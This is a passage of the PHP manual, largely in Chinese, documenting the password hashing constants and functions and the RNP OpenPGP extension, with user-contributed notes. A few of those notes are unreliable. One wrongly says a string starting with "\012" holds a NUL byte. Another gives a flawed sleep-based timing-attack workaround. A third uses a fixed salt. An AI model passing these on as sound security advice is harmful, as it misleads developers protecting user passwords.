PASSWORD_BCRYPT is used to create new password hashes using the CRYPT_BLOWFISH algorithm.

This will always result in a hash using the "$2y$" crypt format, which is always 60 characters wide.

Supported Options:

  • salt (string) - to manually provide a salt to use when hashing the password. Note that this will override and prevent a salt from being automatically generated.

    If omitted, a random salt will be generated by password_hash() for each password hashed. This is the intended mode of operation and as of PHP 7.0.0 the salt option has been deprecated.

  • cost (int) - which denotes the algorithmic cost that should be used. Examples of these values can be found on the crypt() page.

    If omitted, a default value of 10 will be used. This is a good baseline cost, but you may want to consider increasing it depending on your hardware.

PASSWORD_ARGON2I (string)

PASSWORD_ARGON2I is used to create new password hashes using the Argon2i algorithm.

Supported Options:

  • memory_cost (int) - Maximum memory (in kibibytes) that may be used to compute the Argon2 hash. Defaults to PASSWORD_ARGON2_DEFAULT_MEMORY_COST.

  • time_cost (int) - Maximum amount of time it may take to compute the Argon2 hash. Defaults to PASSWORD_ARGON2_DEFAULT_TIME_COST.

  • threads (int) - Number of threads to use for computing the Argon2 hash. Defaults to PASSWORD_ARGON2_DEFAULT_THREADS. Only available with libargon2, not with libsodium implementation.

Available as of PHP 7.2.0.

PASSWORD_ARGON2ID (string)

PASSWORD_ARGON2ID is used to create new password hashes using the Argon2id algorithm. It supports the same options as PASSWORD_ARGON2I.

Available as of PHP 7.3.0.

PASSWORD_ARGON2_DEFAULT_MEMORY_COST (int)

Default amount of memory in bytes that will be used while trying to compute a hash.

Available as of PHP 7.2.0.

PASSWORD_ARGON2_DEFAULT_TIME_COST (int)

Default amount of time that will be spent trying to compute a hash.

Available as of PHP 7.2.0.

PASSWORD_ARGON2_DEFAULT_THREADS (int)

Default number of threads that Argon2lib will use. Not available with libsodium implementation.

Available as of PHP 7.2.0.

PASSWORD_DEFAULT (mixed)

The default algorithm to use for hashing if no algorithm is provided. This may change in newer PHP releases when newer, stronger hashing algorithms are supported.

It is worth noting that over time this constant can (and likely will) change. Therefore you should be aware that the length of the resulting hash can change. Therefore, if you use PASSWORD_DEFAULT you should store the resulting hash in a way that can store more than 60 characters (255 is the recommended width).

Values for this constant:

  • PHP 5.5.0 - PASSWORD_BCRYPT

更新日志

版本 | 说明
7.4.0 | The values of the password algo IDs (PASSWORD_BCRYPT, PASSWORD_ARGON2I, PASSWORD_ARGON2ID and PASSWORD_DEFAULT) are now strings. Previously, they have been ints.

User Contributed Notes

There are no user contributed notes for this page.


密码散列算法函数

Table of Contents

  • password_algos — Get available password hashing algorithm IDs
  • password_get_info — 返回指定散列（hash）的相关信息
  • password_hash — 创建密码的散列（hash）
  • password_needs_rehash — 检测散列值是否匹配指定的选项
  • password_verify — 验证密码是否和散列值匹配

User Contributed Notes

There are no user contributed notes for this page.


Get available password hashing algorithm IDs

  • ? 密码散列算法函数
  • password_get_info ?
  • PHP Manual
  • 密码散列算法函数
  • Get available password hashing algorithm IDs

password_algos

(PHP 7 >= 7.4.0, PHP 8)

password_algos — Get available password hashing algorithm IDs

说明

password_algos(): array

Returns a complete list of all registered password hashing algorithm IDs as an array of strings.

参数

此函数没有参数。

返回值

Returns the available password hashing algorithm IDs.

示例

Example #1 Basic password() usage

<?php
print_r(password_algos());
?>

以上示例的输出类似于：

Array
(
    [0] => 2y
    [1] => argon2i
    [2] => argon2id
)

User Contributed Notes

XRevan86 26-Jul-2020 12:12
A polyfill for PHP 7.3 and older:
<?php
if (version_compare(PHP_VERSION, '7.4.0', '<')) {
    function password_algos(): array
    {
        $algos = [PASSWORD_BCRYPT];
        defined('PASSWORD_ARGON2I')  && $algos[] = PASSWORD_ARGON2I;
        defined('PASSWORD_ARGON2ID') && $algos[] = PASSWORD_ARGON2ID;
        return $algos;
    }
}
?>


返回指定散列（hash）的相关信息

  • ? password_algos
  • password_hash ?
  • PHP Manual
  • 密码散列算法函数
  • 返回指定散列（hash）的相关信息

password_get_info

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

password_get_info — 返回指定散列（hash）的相关信息

说明

password_get_info(string $hash): array

如果传入的散列值（hash）是由 password_hash() 支持的算法生成的， 这个函数就会返回关于此散列的信息数组。

参数

hash

一个由 password_hash() 创建的散列值。

返回值

返回三个元素的关联数组：

  • algo， 匹配 密码算法的常量
  • algoName，人类可读的算法名称
  • options，调用 password_hash() 时提供的选项。

User Contributed Notes

cbungholio at gmail dot com 31-Jul-2017 01:23
If you're curious to use this method to determine if there is someway to evaluate if a given string is NOT a password_hash() value...

<?php

// Our password.. the kind of thing and idiot would have on his luggage:
$password_plaintext = "12345";

// Hash it up, fuzzball!
$password_hash = password_hash( $password_plaintext, PASSWORD_DEFAULT, [ 'cost' => 11 ] );

// What do we get?
print_r( password_get_info( $password_hash ) );

/* returns:
Array (
    [algo] => 1
    [algoName] => bcrypt  // Your server's default.
    [options] => Array ( [cost] => 11 )
)
*/

// What about if it's un-hashed?...
print_r( password_get_info( $password_plaintext ) );

/* returns:
Array (
    [algo] => 0
    [algoName] => unknown
    [options] => Array ( )
)
*/
?>

... Looks like it's up to each of us to personally decide if it's safe to compare against the final returned array.
lincoln dot du dot j at gmail dot com 16-Jul-2017 07:59
<?php

$a= password_hash("rasmuslerdorf", PASSWORD_DEFAULT);

var_dump(password_get_info($a));
//change every refresh
var_dump($a);

?>

//Output like

array(3) {
  ["algo"]=>
  int(1)
  ["algoName"]=>
  string(6) "bcrypt"
  ["options"]=>
  array(1) {
    ["cost"]=>
    int(10)
  }
}
string(60) "$2y$10$wKEZs6W//QDoOeTKSCXx7.Y9Q7duFEtJpFFuJn1G5GhyWTTit/tL2"


创建密码的散列（hash）

  • ? password_get_info
  • password_needs_rehash ?
  • PHP Manual
  • 密码散列算法函数
  • 创建密码的散列（hash）

password_hash

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

password_hash — 创建密码的散列（hash）

说明

password_hash(string $password, string|int|null $algo, array $options = []): string

password_hash() 使用足够强度的单向散列算法创建密码的散列（hash）。

当前支持的算法：

  • PASSWORD_DEFAULT - 使用 bcrypt 算法 (PHP 5.5.0 默认)。 注意，该常量会随着 PHP 加入更新更高强度的算法而改变。 所以，使用此常量生成结果的长度将在未来有变化。 因此，数据库里储存结果的列可超过60个字符（最好是255个字符）。
  • PASSWORD_BCRYPT - 使用 CRYPT_BLOWFISH 算法创建散列。 这会产生兼容使用 "$2y$" 的 crypt()。 结果将会是 60 个字符的字符串， 或者在失败时返回 false。
  • PASSWORD_ARGON2I - 使用 Argon2i 散列算法创建散列。 只有在 PHP 编译时加入 Argon2 支持时才能使用该算法。
  • PASSWORD_ARGON2ID - 使用 Argon2id 散列算法创建散列。 只有在 PHP 编译时加入 Argon2 支持时才能使用该算法。

PASSWORD_BCRYPT 支持的选项：

  • salt(string) - 手动提供散列密码的盐值（salt）。这将避免自动生成盐值（salt）。

    省略此值后，password_hash() 会为每个密码散列自动生成随机的盐值。这种操作是有意的模式。

    Warning

    盐值（salt）选项已废弃（deprecated）。 现在最好仅选择使用默认产生的盐值。 从 PHP 8.0.0 起，明确指定的 salt 值会被忽略。

  • cost (int) - 代表算法使用的 cost。crypt() 页面上有 cost 值的示例。

    省略时，默认值是 10。 这个 cost 是个不错的底线，但也许可以根据自己硬件的情况，加大这个值。

PASSWORD_ARGON2I 和 PASSWORD_ARGON2ID 支持的选项：

  • memory_cost (int) - 计算 Argon2 散列时的最大内存（单位：KB）。默认值： PASSWORD_ARGON2_DEFAULT_MEMORY_COST。

  • time_cost (int) - 计算 Argon2 散列时最多的时间。默认值： PASSWORD_ARGON2_DEFAULT_TIME_COST。

  • threads (int) - 计算 Argon2 散列时最多的线程数。默认值： PASSWORD_ARGON2_DEFAULT_THREADS。

    Warning

    只有在 PHP 使用 libargon2 时可用；如果是 libsodium 的实现，则无法使用。

参数

password

用户的密码。

Caution

使用PASSWORD_BCRYPT 做算法，将使 password 参数最长为72个字节，超过会被截断。

algo

一个用来在散列密码时指示算法的密码算法常量。

options

一个包含有选项的关联数组。详细的参数说明，请参考文档 密码算法常数。

省略后，将使用随机盐值与默认 cost。

返回值

返回散列后的密码。

使用的算法、cost 和盐值作为散列的一部分返回。所以验证散列值的所有信息都已经包含在内。 这使 password_verify() 函数验证的时候，不需要额外储存盐值或者算法的信息。

更新日志

版本 | 说明
8.0.0 | 失败时 password_hash() 不再返回 false，如果密码散列算法无效，则会抛出 ValueError，如果密码散列因未知错误失败，则会抛出 Error。
8.0.0 | 参数 algo 可以为 null。
7.4.0 | 现在 algo 参数可支持 string 类型，但为了向后兼容也支持 int 类型。
7.4.0 | 扩展 sodium 提供了 Argon2 密码的替代实现。
7.3.0 | 增加 PASSWORD_ARGON2ID，支持 Argon2id 密码算法。
7.2.0 | 增加 PASSWORD_ARGON2I，支持 Argon2i 密码算法。

示例

Example #1 password_hash() 示例

<?php
/**
* 我们想要使用默认算法散列密码
* 当前是 BCRYPT，并会产生 60 个字符的结果。
*
* 请注意，随时间推移，默认算法可能会有变化，
* 所以需要储存的空间能够超过 60 字（255字不错）
*/
echo password_hash("rasmuslerdorf", PASSWORD_DEFAULT);
?>

以上示例的输出类似于：

$2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a

Example #2 password_hash() 手动设置 cost 的示例

<?php
/**
* 在这个案例里，我们为 BCRYPT 增加 cost 到 12。
* 注意，我们已经切换到了，将始终产生 60 个字符。
*/
$options = [
'cost' => 12,
];
echo password_hash("rasmuslerdorf", PASSWORD_BCRYPT, $options);
?>

以上示例的输出类似于：

$2y$12$QjSH496pcT5CEbzjD/vtVeH03tfHKFy36d4J0Ltp3lRtee9HDxY3K

Example #3 寻找最佳 cost 的 password_hash() 示例

<?php
/**
* 这个示例对服务器做了基准测试（benchmark），检测服务器能承受多高的 cost
* 在不明显拖慢服务器的情况下可以设置最高的值
* 10 是个不错的底线，在服务器够快的情况下，越高越好。
* 以下代码目标为 ≤ 350 毫秒（milliseconds），
* 对于处理交互式登录的系统来说，这是一个合适的延迟时间。
*/
$timeTarget = 0.350; // 350 毫秒（milliseconds）

$cost = 10;
do {
$cost++;
$start = microtime(true);
password_hash("test", PASSWORD_BCRYPT, ["cost" => $cost]);
$end = microtime(true);
} while (($end - $start) < $timeTarget);

echo "Appropriate Cost Found: " . $cost;
?>

以上示例的输出类似于：

Appropriate Cost Found: 12

Example #4 使用 Argon2i 的 password_hash() 示例

<?php
echo 'Argon2i hash: ' . password_hash('rasmuslerdorf', PASSWORD_ARGON2I);
?>

以上示例的输出类似于：

Argon2i hash: $argon2i$v=19$m=1024,t=2,p=2$YzJBSzV4TUhkMzc3d3laeg$zqU/1IN0/AogfP4cmSJI1vc8lpXRW9/S0sYY2i2jHT0

注释

Caution

强烈建议不要自己为这个函数生成盐值（salt）。只要不设置，它会自动创建安全的盐值。

就像以上提及的，在 PHP 7.0 提供 salt选项会导致废弃（deprecation）警告。 未来的 PHP 发行版里，手动提供盐值的功能已经在 PHP 8.0 移除。

Note:

在交互的系统上，推荐在自己的服务器上测试此函数，调整 cost 参数直至函数时间开销小于 350 毫秒（milliseconds）。 上面脚本的示例会帮助选择合适硬件的最佳 cost。

Note: 这个函数更新支持的算法时（或修改默认算法），必定会遵守以下规则：

  • 任何内核中的新算法必须在经历一次 PHP 完整发行才能成为默认算法。 比如，在 PHP 7.5.5 中添加的新算法，在 PHP 7.7 之前不能成为默认算法 （由于 7.6 是第一个完整发行版）。 但如果是在 7.6.0 里添加的不同算法，在 7.7.0 里也可以成为默认算法。
  • 仅仅允许在完整发行版中修改默认算法（比如 7.3.0, 8.0.0，等等），不能是在修订版。 唯一的例外是：在当前默认算法里发现了紧急的安全威胁。

参见

  • password_verify() - 验证密码是否和散列值匹配
  • password_needs_rehash() - 检测散列值是否匹配指定的选项
  • crypt() - 单向字符串散列
  • sodium_crypto_pwhash_str() - Get an ASCII-encoded hash

User Contributed Notes

bhare at duck dot com 03-Sep-2023 04:36
If you are you going to use bcrypt then you should pepper the passwords with random large string, as commodity hardware can break bcrypt 8 character passwords within an hour; https://www.tomshardware.com/news/eight-rtx-4090s-can-break-passwords-in-under-an-hour
ms1 at rdrecs dot com 14-Oct-2019 05:07
Timing attacks simply put, are attacks that can calculate what characters of the password are due to speed of the execution.

More at...
https://paragonie.com/blog/2015/11/preventing-timing-attacks-on-string-comparison-with-double-hmac-strategy

I have added code to phpnetcomment201908 at lucb1e dot com's suggestion to make this possible "timing attack" more difficult using the code phpnetcomment201908 at lucb1e dot com posted.

$pph_strt = microtime(true);

//...
/*The code he posted for login.php*/
//...

$end = (microtime(true) - $pph_strt);

$wait = bcmul((1 - $end), 1000000);  // usleep(250000) 1/4 of a second

usleep ( $wait );

echo "<br>Execution time:".(microtime(true) - $pph_strt)."; ";

Note I suggest changing the wait time to suit your needs but make sure that it is more than than the highest execution time the script takes on your server.

Also, this is my workaround to obfuscate the execution time to nullify timing attacks. You can find an in-depth discussion and more from people far more equipped than I for cryptography at the link I posted. I do not believe this was there but there are others. It is where I found out what timing attacks were as I am new to this but would like solid security.
phpnetcomment201908 at lucb1e dot com 25-Aug-2019 02:17
Since 2017, NIST recommends using a secret input when hashing memorized secrets such as passwords. By mixing in a secret input (commonly called a "pepper"), one prevents an attacker from brute-forcing the password hashes altogether, even if they have the hash and salt. For example, an SQL injection typically affects only the database, not files on disk, so a pepper stored in a config file would still be out of reach for the attacker. A pepper must be randomly generated once and can be the same for all users. Many password leaks could have been made completely useless if site owners had done this.

Since there is no pepper parameter for password_hash (even though Argon2 has a "secret" parameter, PHP does not allow to set it), the correct way to mix in a pepper is to use hash_hmac(). The "add note" rules of php.net say I can't link external sites, so I can't back any of this up with a link to NIST, Wikipedia, posts from the security stackexchange site that explain the reasoning, or anything... You'll have to verify this manually. The code:

// config.conf
pepper=c1isvFdxMDdmjOlvxpecFw

<?php
// register.php
$pepper = getConfigVariable("pepper");
$pwd = $_POST['password'];
$pwd_peppered = hash_hmac("sha256", $pwd, $pepper);
$pwd_hashed = password_hash($pwd_peppered, PASSWORD_ARGON2ID);
add_user_to_database($username, $pwd_hashed);
?>

<?php
// login.php
$pepper = getConfigVariable("pepper");
$pwd = $_POST['password'];
$pwd_peppered = hash_hmac("sha256", $pwd, $pepper);
$pwd_hashed = get_pwd_from_db($username);
if (password_verify($pwd_peppered, $pwd_hashed)) {
    echo "Password matches.";
}
else {
    echo "Password incorrect.";
}
?>

Note that this code contains a timing attack that leaks whether the username exists. But my note was over the length limit so I had to cut this paragraph out.

Also note that the pepper is useless if leaked or if it can be cracked. Consider how it might be exposed, for example different methods of passing it to a docker container. Against cracking, use a long randomly generated value (like in the example above), and change the pepper when you do a new install with a clean user database. Changing the pepper for an existing database is the same as changing other hashing parameters: you can either wrap the old value in a new one and layer the hashing (more complex), you compute the new password hash whenever someone logs in (leaving old users at risk, so this might be okay depending on what the reason is that you're upgrading).

Why does this work? Because an attacker does the following after stealing the database:

password_verify("a", $stolen_hash)
password_verify("b", $stolen_hash)
...
password_verify("z", $stolen_hash)
password_verify("aa", $stolen_hash)
etc.

(More realistically, they use a cracking dictionary, but in principle, the way to crack a password hash is by guessing. That's why we use special algorithms: they are slower, so each verify() operation will be slower, so they can try much fewer passwords per hour of cracking.)

Now what if you used that pepper? Now they need to do this:

password_verify(hmac_sha256("a", $secret), $stolen_hash)

Without that $secret (the pepper), they can't do this computation. They would have to do:

password_verify(hmac_sha256("a", "a"), $stolen_hash)
password_verify(hmac_sha256("a", "b"), $stolen_hash)
...
etc., until they found the correct pepper.

If your pepper contains 128 bits of entropy, and so long as hmac-sha256 remains secure (even MD5 is technically secure for use in hmac: only its collision resistance is broken, but of course nobody would use MD5 because more and more flaws are found), this would take more energy than the sun outputs. In other words, it's currently impossible to crack a pepper that strong, even given a known password and salt.
Anonymous 18-Jun-2019 01:09
According to the draft specification, Argon2di is the recommended mode of operation:

> 9.4.  Recommendations
>
>   The Argon2id variant with t=1 and maximum available memory is
>   recommended as a default setting for all environments.  This setting
>   is secure against side-channel attacks and maximizes adversarial
>   costs on dedicated bruteforce hardware.

source: https://tools.ietf.org/html/draft-irtf-cfrg-argon2-06#section-9.4
Lyo Mi 06-Jan-2016 06:11
Please note that password_hash will ***truncate*** the password at the first NULL-byte.

http://blog.ircmaxell.com/2015/03/security-issue-combining-bcrypt-with.html

If you use anything as an input that can generate NULL bytes (sha1 with raw as true, or if NULL bytes can naturally end up in people's passwords), you may make your application much less secure than what you might be expecting.

The password
$a = "\01234567";
is zero bytes long (an empty password) for bcrypt.

The workaround, of course, is to make sure you don't ever pass NULL-bytes to password_hash.
Mike Robinson 28-Aug-2014 02:52
For passwords, you generally want the hash calculation time to be between 250 and 500 ms (maybe more for administrator accounts). Since calculation time is dependent on the capabilities of the server, using the same cost parameter on two different servers may result in vastly different execution times. Here's a quick little function that will help you determine what cost parameter you should be using for your server to make sure you are within this range (note, I am providing a salt to eliminate any latency caused by creating a pseudorandom salt, but this should not be done when hashing passwords):

<?php
/**
 * @Param int $min_ms Minimum amount of time in milliseconds that it should take
 * to calculate the hashes
 */
function getOptimalBcryptCostParameter($min_ms = 250) {
    for ($i = 4; $i < 31; $i++) {
        $options = [ 'cost' => $i, 'salt' => 'usesomesillystringforsalt' ];
        $time_start = microtime(true);
        password_hash("rasmuslerdorf", PASSWORD_BCRYPT, $options);
        $time_end = microtime(true);
        if (($time_end - $time_start) * 1000 > $min_ms) {
            return $i;
        }
    }
}
echo getOptimalBcryptCostParameter(); // prints 12 in my case
?>
Cloxy 18-Oct-2013 09:45
You can produce the same hash in php 5.3.7+ with crypt() function:

<?php

$salt = mcrypt_create_iv(22, MCRYPT_DEV_URANDOM);
$salt = base64_encode($salt);
$salt = str_replace('+', '.', $salt);
$hash = crypt('rasmuslerdorf', '$2y$10$'.$salt.'$');

echo $hash;

?>
nicoSWD 06-Oct-2013 03:29
I agree with martinstoeckli,

don't create your own salts unless you really know what you're doing.

By default, it'll use /dev/urandom to create the salt, which is based on noise from device drivers.

And on Windows, it uses CryptGenRandom().

Both have been around for many years, and are considered secure for cryptography (the former probably more than the latter, though).

Don't try to outsmart these defaults by creating something less secure. Anything that is based on rand(), mt_rand(), uniqid(), or variations of these is *not* good.
martinstoeckli 08-Mar-2013 10:36
In most cases it is best to omit the salt parameter. Without this parameter, the function will generate a cryptographically safe salt, from the random source of the operating system.
martinstoeckli 17-Dec-2012 08:56
There is a compatibility pack available for PHP versions 5.3.7 and later, so you don't have to wait on version 5.5 for using this function. It comes in form of a single php file:
https://github.com/ircmaxell/password_compat


检测散列值是否匹配指定的选项

  • ? password_hash
  • password_verify ?
  • PHP Manual
  • 密码散列算法函数
  • 检测散列值是否匹配指定的选项

password_needs_rehash

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

password_needs_rehash — 检测散列值是否匹配指定的选项

说明

password_needs_rehash(string $hash, string|int|null $algo, array $options = []): bool

此函数检测指定的散列值是否实现了提供的算法和选项。 如果没有，需要重新生成散列值。

参数

hash

一个由 password_hash() 创建的散列值。

algo

一个用来在散列密码时指示算法的密码算法常量。

options

一个包含有选项的关联数组。详细的参数说明，请参考文档 密码算法常数。

返回值

如果散列需要重新生成才能匹配指定的 algo 和 options， 则返回 true，否则返回 false。

更新日志

版本 | 说明
7.4.0 | 现在 algo 参数可以支持 string 类型，但为了向后兼容性，同时支持 int 类型。

示例

Example #1 password_needs_rehash()用法

<?php

$password = 'rasmuslerdorf';
$hash = '$2y$10$YCFsG6elYca568hBi2pZ0.3LDL5wjgxct1N8w/oLR/jfHsiQwCqTS';

$algorithm = PASSWORD_BCRYPT;
// bcrypt 的成本参数随着硬件的改进而可能发生变化
$options = ['cost' => 12];

// 根据明文密码验证储存的散列
if (password_verify($password, $hash)) {
// 检查算法或选项是否已经更改
if (password_needs_rehash($hash, $algorithm, $options)) {
// 如果是这样，则创建新散列，替换旧散列
$newHash = password_hash($password, $algorithm, $options);

// 使用 $newHash 更新用户记录
}

// 执行登录
}
?>

User Contributed Notes

Daniel Hejduk 01-Jan-2022 01:30
Password need rehash also when its too strong. For example
<?php
$a = '123';
$hash = password_hash($a, PASSWORD_BCRYPT, ['cost'=>16]);
var_export(password_needs_rehash($hash,  PASSWORD_BCRYPT, ['cost'=>15])); //True
geekasylum at google mail 17-May-2018 11:05
This function can indeed be used to assist in transparently updating legacy passwords (those not using the password_hash() function - eg: perhaps something using MD5 or SHA1)

In legacy sites, when authenticating a user (during login) first check the password using password_verify(). If that fails it may simply be because the user's password hash was created long ago by a legacy or home-brew password algorithm.

You can then re-check the password against the site's legacy password algorithm.  If that fails too, then the login fails, since the supplied password did not authenticate against either the new, or the old password tests.

If any one of those two test was successfull, you know that the password is good so you would then call password_needs_rehash() on the stored hash, and it will properly indicate if the password hash needs to be re-computed, either because it's an unrecognised (legacy) hash or it's a modern hash created by password_hash(), which may just need its cost index updated.

Simply store the recomputed hash in the database and you now have a password_verify() compatible password for that user and the second test can be skipped in future logins (but still check if it needs rehashing).
admin at torntech dot com 13-Sep-2014 02:48
Some other use-cases for the password_needs_rehash function is when you have specified using the PASSWORD_DEFAULT algorithm for password_hash.
As mentioned on the Password Hashing Predefined Constants and password_hash pages, the algorithm used by PASSWORD_DEFAULT is subject to change as different versions of PHP are released.
Additionally password_needs_rehash would be used if you have changed the optional cost or static salt (DO NOT USE A STATIC SALT) requirements of your password_hash options.

Full example:

<?php

$new = [
    'options' => ['cost' => 11],
    'algo' => PASSWORD_DEFAULT,
    'hash' => null
];

$password = 'rasmuslerdorf';

//stored hash of password
$oldHash = '$2y$07$BCryptRequires22Chrcte/VlQH0piJtjXl.0t1XkA8pw9dMXTpOq';

//verify stored hash against plain-text password
if (true === password_verify($password, $oldHash)) {
    //verify legacy password to new password_hash options
    if (true === password_needs_rehash($oldHash, $new['algo'], $new['options'])) {
        //rehash/store plain-text password using new hash
        $newHash = password_hash($password, $new['algo'], $new['options']);
        echo $newHash;
    }
}
?>

The above example will output something similar to:
$2y$11$Wu5rN3u38.g/XWdUeA6Wj.PD.F0fLXXmZrMNFyzzg2UxkVmxlk41W
php dot net at muer dot nl 13-May-2014 09:39
This function cannot check if a string is a MD5 or SHA1 hash. It can only tell you if a password, hashed using the password_hash function, needs to be put through the hashing function again to keep up to date with the new defaults.

The only time you can use this function is when your user logs in and you have already checked by means of password_verify that the password entered is actually correct. At that point, if password_needs_rehash returns true, you can put the plain text password through the password_hash function.


验证密码是否和散列值匹配

  • ? password_needs_rehash
  • Rnp ?
  • PHP Manual
  • 密码散列算法函数
  • 验证密码是否和散列值匹配

password_verify

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

password_verify — 验证密码是否和散列值匹配

说明

password_verify(string $password, string $hash): bool

验证密码是否和指定的散列值匹配。password_verify() 与 crypt() 兼容。因此，由 crypt() 创建的密码散列可以用于 password_verify() 一起使用。

注意 password_hash() 返回的散列包含了算法、 cost 和盐值。 因此，所有需要的信息都包含内。使得验证函数不需要储存额外盐值等信息即可验证散列。

时序攻击（timing attacks）对此函数不起作用。

参数

password

用户的密码。

hash

一个由 password_hash() 创建的散列值。

返回值

如果密码和散列值匹配则返回 true，否则返回 false。

示例

Example #1 password_verify() 示例

这只是简单的示例，如果需要，建议重新生成正确的密码；请参见 password_needs_rehash() 示例。

<?php
// 想知道以下字符从哪里来，可参见 password_hash() 示例
$hash = '$2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a';

if (password_verify('rasmuslerdorf', $hash)) {
echo 'Password is valid!';
} else {
echo 'Invalid password.';
}
?>

以上示例会输出：

Password is valid!

参见

  • password_needs_rehash() - 检测散列值是否匹配指定的选项
  • password_hash() - 创建密码的散列（hash）
  • » 用户级实现
  • sodium_crypto_pwhash_str_verify() - Verifies that a password matches a hash

User Contributed Notes

There are no user contributed notes for this page.


Rnp

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • Clearsign text
  • Rnp 函数
    • rnp_backend_string — Return cryptographic backend library name
    • rnp_backend_version — Return cryptographic backend library version
    • rnp_decrypt — Decrypt PGP message
    • rnp_dump_packets_to_json — Dump OpenPGP packets stream information to the JSON string
    • rnp_dump_packets — Dump OpenPGP packets stream information in humand-readable format
    • rnp_ffi_create — Create the top-level object used for interacting with the library
    • rnp_ffi_destroy — Destroy the top-level object used for interacting with the library
    • rnp_ffi_set_pass_provider — Set password provider callback function
    • rnp_import_keys — Import keys from PHP string to the keyring and receive JSON describing new/updated keys
    • rnp_import_signatures — Import standalone signatures to the keyring and receive JSON describing updated keys
    • rnp_key_export_autocrypt — Export minimal key for autocrypt feature (just 5 packets: key, uid, signature, encryption subkey, signature)
    • rnp_key_export_revocation — Generate and export primary key revocation signature
    • rnp_key_export — Export a key
    • rnp_key_get_info — Get information about the key
    • rnp_key_remove — Remove a key from keyring(s)
    • rnp_key_revoke — Revoke a key or subkey by generating and adding revocation signature
    • rnp_list_keys — Enumerate all keys present in a keyring by specified identifer type
    • rnp_load_keys_from_path — Load keys from specified path
    • rnp_load_keys — Load keys from PHP string
    • rnp_locate_key — Search for the key
    • rnp_op_encrypt — Encrypt message
    • rnp_op_generate_key — Generate key
    • rnp_op_sign_cleartext — Perform signing operation on a textual data, return cleartext signed message
    • rnp_op_sign_detached — Perform signing operation, return detached signature(s)
    • rnp_op_sign — Perform signing operation on a binary data, return embedded signature(s)
    • rnp_op_verify_detached — Verify detached signatures
    • rnp_op_verify — Verify embedded or cleartext signatures
    • rnp_save_keys_to_path — Save keys to specified path
    • rnp_save_keys — Save keys to PHP string
    • rnp_supported_features — Get supported features in JSON format
    • rnp_version_string_full — Full version string of RNP library
    • rnp_version_string — RNP library version
  • RnpFFI — The RnpFFI class

User Contributed Notes

There are no user contributed notes for this page.


简介

This module allows you to use » RNP library. RNP is a high performance C++ OpenPGP library used by Mozilla Thunderbird.

User Contributed Notes

There are no user contributed notes for this page.


需求

In order to use RNP library functions you need to install the» RNP library. RNP library version >= 0.16.2 is required.

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/rnp

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

RNP_KEYSTORE_GPG (string)
Keystore format "GPG".
RNP_KEYSTORE_KBX (string)
Keystore format "KBX". For public keys only. A keybox is a file format used to store public keys along with meta information and indices.
RNP_KEYSTORE_G10 (string)
Keystore format "G10". For private keys.
RNP_LOAD_SAVE_PUBLIC_KEYS (integer)
Load or save public keys only. Can be OR-ed with RNP_LOAD_SAVE_SECRET_KEYS to load both public and private keys to the FFI context or save them from the context.
RNP_LOAD_SAVE_SECRET_KEYS (integer)
Load or save secret keys only. Can be OR-ed with RNP_LOAD_SAVE_PUBLIC_KEYS to load both public and private keys to the FFI context or save them from the context.
RNP_LOAD_SAVE_PERMISSIVE (integer)
Allows to ignore bad signature/key/subkey packets during key import.
RNP_LOAD_SAVE_SINGLE (integer)
If set, only the first key will be loaded.
RNP_LOAD_SAVE_BASE64 (integer)
Allow import of base64-encoded keys (autocrypt ones).
RNP_FEATURE_SYMM_ALG (string)
List available symmetric encryption algorithms.
RNP_FEATURE_AEAD_ALG (string)
List available AEAD algorithms.
RNP_FEATURE_PROT_MODE (string)
List available protection modes.
RNP_FEATURE_PK_ALG (string)
List available public key algorithms.
RNP_FEATURE_HASH_ALG (string)
List available hash algorithms.
RNP_FEATURE_COMP_ALG (string)
List available compression algorithms.
RNP_FEATURE_CURVE (string)
List available elliptic curves.
RNP_DUMP_MPI (integer)
Dump MPI (Multi-precision integer) values.
RNP_DUMP_RAW (integer)
Dump raw packet contents as well.
RNP_DUMP_GRIP (integer)
Dump key fingerprints and grips.
RNP_JSON_DUMP_MPI (integer)
Dump MPI (Multi-precision integer) values.
RNP_JSON_DUMP_RAW (integer)
Dump raw packet contents as well.
RNP_JSON_DUMP_GRIP (integer)
Dump key fingerprints and grips.
RNP_ENCRYPT_NOWRAP (integer)
Allows encryption of signed message. Message is not wrapped into literal data packet.
RNP_KEY_EXPORT_ARMORED (integer)
Enable ASCII-armoring of exported data.
RNP_KEY_EXPORT_PUBLIC (integer)
Export public key.
RNP_KEY_EXPORT_SECRET (integer)
Export secret key.
RNP_KEY_EXPORT_SUBKEYS (integer)
If primary key is being exported, all subkeys will be exported too.
RNP_KEY_EXPORT_BASE64 (integer)
Export base64-encoded autocrypt key instead of binary.
RNP_KEY_REMOVE_PUBLIC (integer)
Remove public key.
RNP_KEY_REMOVE_SECRET (integer)
Remove secret key.
RNP_KEY_REMOVE_SUBKEYS (integer)
If primary key is being deleted, all of its subkeys will be removed too.

User Contributed Notes

There are no user contributed notes for this page.


示例

Table of Contents

  • Clearsign text

User Contributed Notes

There are no user contributed notes for this page.


Clearsign text

This example will clearsign a given text.

Example #1 RNP clearsign example

<?php
// init FFI object
$ffi = rnp_ffi_create('GPG', 'GPG');

// generate RSA key
$key = rnp_op_generate_key($ffi, 'test@example.com', 'RSA');

// sign
$data = "Example text to sign";
$signature = rnp_op_sign_cleartext($ffi, $data, array($key));

echo $signature;

// destroy FFI object
rnp_ffi_destroy($ffi);
?>

User Contributed Notes

There are no user contributed notes for this page.


Rnp 函数

Table of Contents

  • rnp_backend_string — Return cryptographic backend library name
  • rnp_backend_version — Return cryptographic backend library version
  • rnp_decrypt — Decrypt PGP message
  • rnp_dump_packets_to_json — Dump OpenPGP packets stream information to the JSON string
  • rnp_dump_packets — Dump OpenPGP packets stream information in humand-readable format
  • rnp_ffi_create — Create the top-level object used for interacting with the library
